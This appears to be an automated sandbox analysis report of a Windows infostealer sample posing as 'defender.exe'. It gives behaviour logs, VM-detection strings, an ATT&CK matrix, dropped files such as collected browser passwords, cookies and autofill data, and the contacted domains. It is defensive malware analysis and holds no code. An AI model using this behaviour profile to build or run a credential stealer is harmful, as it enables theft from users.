Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Roaming\defender\Code Cache\wasm FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Roaming\defender\Code Cache\js FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Roaming\defender\blob_storage\f775561d-0eec-4469-8d36-9ccb29088092 FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Roaming\defender\Cache\Cache_Data FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File Volume queried: C:\Users\user FullSizeInformation	Jump to behavior

Source: explorer.exe, 00000014.00000000.2351337870.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: libGLESv2.dll.0.dr	Binary or memory string: VMware
Source: explorer.exe, 00000014.00000000.2350442178.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000014.00000000.2347925668.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000014.00000000.2351337870.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000014.00000000.2345304498.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000014.00000000.2347925668.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000014.00000000.2351337870.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000014.00000000.2347925668.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000014.00000000.2350442178.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: libGLESv2.dll.0.dr	Binary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareTestX
Source: explorer.exe, 00000014.00000000.2350442178.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.2350442178.000000000982D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: libGLESv2.dll.0.dr	Binary or memory string: (IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliT8xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliG31OrOlder(functions))
Source: explorer.exe, 00000014.00000000.2351337870.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000014.00000000.2347925668.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000014.00000000.2345304498.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000014.00000000.2350442178.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000014.00000000.2345304498.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: explorer.exe, 00000014.00000000.2350442178.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.2345877631.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.2347659836.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000014.00000000.2345877631.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: explorer.exe, 00000014.00000000.2345304498.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000014.00000000.2345877631.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000014.00000000.2345877631.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\resources\app.asar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	111 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	3 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	5%	Virustotal		Browse
SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	0%	ReversingLabs

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\D3DSCache\2994c8ff9e342f5c\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

C:\Users\user\AppData\Local\D3DSCache\2994c8ff9e342f5c\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

C:\Users\user\AppData\Local\D3DSCache\2994c8ff9e342f5c\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\18a76d14-ac47-451f-a90b-60705a36f392.tmp.node

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7.zip

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\Autofills.txt

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\Cookies\Google_Default.txt

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\Passwords.txt

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\5deab5b9c94c96f655911f1b6622dfc7\user.txt

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\LICENSE.electron.txt

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\LICENSES.chromium.html

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\chrome_100_percent.pak

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\chrome_200_percent.pak

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\d3dcompiler_47.dll

C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe

Windows Analysis Report
SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
clientstats1-dummy-server-lb-398743415.us-east-1.elb.amazonaws.com	0%	Virustotal	Browse
ingress-sticky-haproxy-eu-da5b7868dc470a9a.elb.eu-west-1.amazonaws.com	0%	Virustotal	Browse
socket-eu-ingress-1850214078.eu-west-1.elb.amazonaws.com	0%	Virustotal	Browse
setekshome.com	0%	Virustotal	Browse
sockjs-eu.pusher.com	0%	Virustotal	Browse
stats.pusher.com	0%	Virustotal	Browse
www.setekshome.com	0%	Virustotal	Browse
ws-eu.pusher.com	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://aka.ms/odirmr	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://support.google.com/chrome/answer/6098869	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://wns.windows.com/L	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
https://www.rd.com/list/polite-habits-campers-dislike/	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
https://anglebug.com/7382	0%	Avira URL Cloud	safe
https://doh.familyshield.opendns.com/dns-query	0%	Avira URL Cloud	safe
https://anglebug.com/4674	0%	Avira URL Cloud	safe
http://crbug.com/550292	0%	Avira URL Cloud	safe
https://public.dns.iij.jp/	0%	Avira URL Cloud	safe
http://crbug.com/883276	0%	Avira URL Cloud	safe
https://photos.google.com/settings?referrer=CHROME_NTP	0%	Avira URL Cloud	safe
https://anglebug.com/7714	0%	Avira URL Cloud	safe
https://public.dns.iij.jp/	0%	Virustotal		Browse
https://anglebug.com/7382	0%	Virustotal		Browse
https://anglebug.com/4674	0%	Virustotal		Browse
https://doh.cox.net/dns-query	0%	Avira URL Cloud	safe
https://doh.familyshield.opendns.com/dns-query	0%	Virustotal		Browse
https://anglebug.com/5536	0%	Avira URL Cloud	safe
https://photos.google.com/settings?referrer=CHROME_NTP	0%	Virustotal		Browse
